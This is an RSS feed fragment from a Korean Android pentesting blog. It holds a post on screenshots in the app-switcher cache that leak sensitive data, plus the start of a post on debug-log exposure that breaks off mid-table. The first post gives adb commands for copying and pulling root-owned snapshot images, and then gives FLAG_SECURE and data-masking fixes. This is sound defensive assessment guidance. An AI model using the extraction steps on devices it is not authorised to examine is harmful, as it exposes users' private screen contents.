&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;570&quot; data-origin-height=&quot;1041&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bZEwXm/btsKq2E4kHm/TcWdH51wMuLUwepkkQ0Qb0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bZEwXm/btsKq2E4kHm/TcWdH51wMuLUwepkkQ0Qb0/img.png&quot; data-alt=&quot;작업관리자 실행 화면&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bZEwXm/btsKq2E4kHm/TcWdH51wMuLUwepkkQ0Qb0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbZEwXm%2FbtsKq2E4kHm%2FTcWdH51wMuLUwepkkQ0Qb0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;570&quot; height=&quot;1041&quot; data-origin-width=&quot;570&quot; data-origin-height=&quot;1041&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;작업관리자 실행 화면&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;작업 관리자는 홈 버튼이 없는 모델의 경우 화면 하단에서 천천히 스와이프 하면 접근할 수 있다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;실행중인 앱의 목록을 확인할 수 있으며&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;마지막으로 동작한 앱 화면이 나타난다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;작업 관리자에서는 앱이 동작하는 상태가 아닌 뷰의 스크린샷의 이미지 파일이 시스템 경로 내 저장된다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;루트&lt;span&gt;(root)&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;또는 시스템 사용자만 해당 폴더에 접근할 수 있지만&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;적은 데이터 양이라도 노출되는 경우 민감정보 유출로 이어질 수 있다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000;&quot; data-ke-size=&quot;size26&quot;&gt;2. 진단 방법&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;adb&lt;/span&gt;를 이용하여 백그라운드 이미지가 저장되는 경로에 접근하고&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;lsquo;adb pull&amp;rsquo;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;명령을 이용하여 파일을 추출하고 확인할 수 있다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote style=&quot;background-color: #fcfcfc; color: #666666; text-align: left;&quot; data-ke-style=&quot;style3&quot;&gt;&lt;br /&gt;&lt;b&gt;1. 백그라운드 이미지 저장 위치 접근&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;ADB #&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;i&gt;cd /data/system_ce/0/recent_images/&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;ADB #&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;i&gt;cd /data/system_ce/0/snapshots/&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2. 이미지 파일 임시 경로로 복사&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;ADB #&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;i&gt;cp /data/system_ce/0/snapshot/[이미지파일명].jpg /data/local/tmp/[이미지파일명].jpg&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;3. 파일 소유자 및 권한변경&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;ADB #&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;i&gt;cd /data/local/tmp&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;ADB #&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;i&gt;chown shell /data/local/tmp/[이미지파일명].jpg&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;4. 파일 추출&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;PC &amp;gt;&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;i&gt;adb pull /data/local/tmp/[이미지파일명].jpg .&lt;/i&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단말의 종류나 버전에 따라 백그라운드 이미지가 저장되는 위치에 차이가 있을 수 있으므로&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;lsquo;/data/system_ce/0&amp;rsquo;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;하위 경로를 탐색하며&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;이미지 파일이 존재하는 경로를 찾는다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;디렉터리 소유자 권한이&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;root&lt;/span&gt;인 경우&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;lsquo;adb pull&amp;rsquo;&lt;/span&gt;을 통한 파일 추출이 불가능하기 때문에 임시경로&lt;span&gt;(&amp;lsquo;/data/local/tmp&amp;rsquo;)&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;등으로 복사 후 소유자 및 권한을 변경하여 파일을 추출한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;또는 안드로이드 스튜디오의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;lsquo;Device File Explorer&amp;rsquo;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;기능에서 경로 접근 및 파일을 선택하면 파일을 확인할 수 있다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;661&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dehBsg/btsKqLKkONF/j0cwRZVxM22QS2iYWeskFk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dehBsg/btsKqLKkONF/j0cwRZVxM22QS2iYWeskFk/img.png&quot; data-alt=&quot;안드로이드 스튜디오 &amp;quot;Device File Explorer&amp;quot; 내 경로 접근 및 파일 확인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dehBsg/btsKqLKkONF/j0cwRZVxM22QS2iYWeskFk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdehBsg%2FbtsKqLKkONF%2Fj0cwRZVxM22QS2iYWeskFk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;944&quot; height=&quot;661&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;661&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;안드로이드 스튜디오 &quot;Device File Explorer&quot; 내 경로 접근 및 파일 확인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #bfbfbf; text-align: center;&quot; width=&quot;94&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;취약여부&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bfbfbf; text-align: center;&quot; width=&quot;507&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;설명&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;94&quot;&gt;&lt;span&gt;취약&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;507&quot;&gt;&lt;span&gt;앱이 백그라운드로 진입할 때 화면 스냅샷 내에 민감정보가 평문으로 포함되어 있는 경우&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;94&quot;&gt;&lt;span&gt;양호&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;507&quot;&gt;&lt;span&gt;앱이 백그라운드로 진입할 때 별도 스플래시 화면이 마련되어 있거나 화면 스냅샷 내에 민감정보가 포함되지 않는 경우&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000;&quot; data-ke-size=&quot;size26&quot;&gt;3. 보안 대책&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;1.&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;FLAG_SECURE&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;플래그 설정&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;lsquo;FLAG_SECURE&amp;rsquo;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;플래그는 안드로이드 앱의 화면&lt;span&gt;(Window)&lt;/span&gt;에 대한 플래그 중 하나로&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;화면을 보안 모드로 설정하는 데 사용된다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;화면 캡처 및 녹화를 방지하고&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;앱이 작업관리자로 전환되었을 때 화면을 보호한다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1731082544614&quot; style=&quot;background-color: #f8f8f8; color: #383a42;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;kotlin&quot;&gt;&lt;code&gt;@Override
protected void onResume() {
    super.onResume();
    getWindow().clearFlags(WindowManager.LayoutParams.FLAG_SECURE);
}
@Override
protected void onPause() {
    super.onPause();
    getWindow().addFlags(WindowManager.LayoutParams.FLAG_SECURE);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드에서는 액티비티가 사용되는 시점에는 플래그 속성을 제거&lt;span&gt;(clearFlags)&lt;/span&gt;하고 앱이 작업관리자로 전환되는 시점&lt;span&gt;(onPause&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;콜백함수&lt;span&gt;)&lt;/span&gt;에는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;FLAG_SECURE&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;속성을 선언&lt;span&gt;(addFlags)&lt;/span&gt;하고 있다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;2.&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;민감 정보의 마스킹 처리&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;백그라운드 화면 보호가 필요한 액티비티는 사용자의 민감정보를 처리하는 부분이다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;불필요한 정보의 노출을 지양하고 필요한 정보의 경우 최소한의 정보만 보이도록 마스킹한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;컴플라이언스&lt;span&gt;(ISMS-P&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;등&lt;span&gt;)&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;기준에서도 개인정보의 조회 및 출력 시 용도를 특정하고 용도에 따라 출력 항목을 최소화&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;개인정보 표시제한 등을 수행하도록 명시하고 있다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개인정보 표시제한 조치 적용 예시&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;-&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;이름&lt;span&gt;:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;홍&lt;span&gt;*&lt;/span&gt;동&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;-&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;연락처&lt;span&gt;: 010-****-4567&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;-&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;주소&lt;span&gt;:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;서울 영등포구 여의대로&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;길&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;***&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;-&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;카드번호&lt;span&gt;: 1234-14**-****-0001&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;-&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;IP&lt;/span&gt;주소&lt;span&gt;: 12*.12*.***.123&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;-&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;이메일 주소&lt;span&gt;: mye*****@email.com&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Security/└ 안드로이드 취약점 진단</category>
      <category>안드로이드 취약점 진단</category>
      <category>오블완</category>
      <category>티스토리챌린지</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/261</guid>
      <comments>https://gomguk.tistory.com/261#entry261comment</comments>
      <pubDate>Sat, 9 Nov 2024 01:15:40 +0900</pubDate>
    </item>
    <item>
      <title>[안드로이드 모의해킹] 디버그 로그 내 중요정보 노출</title>
      <link>https://gomguk.tistory.com/260</link>
      <description>&lt;h2 style=&quot;color: #000000;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;&lt;b&gt;1. 개요&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;안드로이드 앱 개발 시&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;디버그 로그는 앱 동작을 추적하고 개발 단계에서의 버그를 수정하는 데 사용한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;디버그 로그는 앱의 실행 중에 발생하는 이벤트&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;상태&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;변수 값 등을 모니터링하고 기록할 수 있는 도구로 앱의 동작과 문제 해결에 도움을 준다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;안드로이드에서는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;lsquo;android:debuggable&amp;rsquo;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;속성을&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;AndroidManifest.xml&lt;/span&gt;에서&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;lsquo;true&amp;rsquo;&lt;/span&gt;로 설정하여 앱을 디버깅 할 수 있도록 허용한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;기본적으로 이 속성은 비활성화&lt;span&gt;(false)&lt;/span&gt;되어 있지만&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;앱 개발 중에 실행 중 데이터 확인 등 필요에 따라 설정을 변경할 수 있다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;그러나 이 속성을&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;lsquo;true&amp;rsquo;&lt;/span&gt;로 설정하게 되면&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;앱 실행 중 세부 정보에 접근할 수 있기 때문에 소스코드를 직접 분석하지 않고도 앱을 디버깅할 수 있다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;312&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bazxS2/btsKqQrkGs7/8mdCHyH4C1K3Iwy87LosE1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bazxS2/btsKqQrkGs7/8mdCHyH4C1K3Iwy87LosE1/img.png&quot; data-alt=&quot;디버그 허용 시 파일 시스템 접근&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bazxS2/btsKqQrkGs7/8mdCHyH4C1K3Iwy87LosE1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbazxS2%2FbtsKqQrkGs7%2F8mdCHyH4C1K3Iwy87LosE1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;687&quot; height=&quot;227&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;312&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;디버그 허용 시 파일 시스템 접근&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;안드로이드 로깅은 로그캣&lt;span&gt;(Logcat)&lt;/span&gt;에 결합된 여러 표준이 결합된 형태로 사용되기 때문에 복잡하다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;사용되는 주요 표준은 다음과 같다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #bfbfbf;&quot; width=&quot;179&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;구현 출처&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bfbfbf;&quot; width=&quot;221&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;로깅 항목 예시&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bfbfbf;&quot; width=&quot;200&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;스택 레벨 사용 가이드&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&quot;179&quot;&gt;&lt;span&gt;&lt;span&gt;RFC 5424(syslog standard)&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;221&quot;&gt;&lt;span&gt;리눅스 커널&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;200&quot;&gt;&lt;span&gt;커널&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;시스템 데몬&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&quot;179&quot;&gt;&lt;span&gt;&lt;span&gt;android.util.Log&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;221&quot;&gt;&lt;span&gt;안드로이드 프레임워크&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;앱 로깅&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;200&quot;&gt;&lt;span&gt;안드로이드 프레임워크&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&quot;179&quot;&gt;&lt;span&gt;&lt;span&gt;java.util.logging.level&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;221&quot;&gt;&lt;span&gt;자바 환경에서 일반적 로깅&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;200&quot;&gt;&lt;span&gt;비 시스템 애플리케이션&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각각의 표준은 유사한 로그 레벨 구성을 가지고 있지만&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;애플리케이션 레벨에서 이번 절에서는 안드로이드 프레임워크와 앱 로깅에 대해서만 다룬다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;안드로이드는 앱이 로그 정보를 출력할 수 있도록&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;lsquo;android.util.Log&amp;rsquo;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;클래스를 제공한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;클래스의 함수를 사용해서 개발중인 코드에 목적에 맞게 단계를 구분하여 로그를 남기도록 구성한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;다음은 로그 클래스&lt;span&gt;(Log)&lt;/span&gt;와 디버그 로그 함수를 사용하여 로그를 남기는 방법이다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #bfbfbf;&quot; width=&quot;151&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span&gt;디버그 로그 함수&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bfbfbf;&quot; width=&quot;450&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span&gt;설명&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
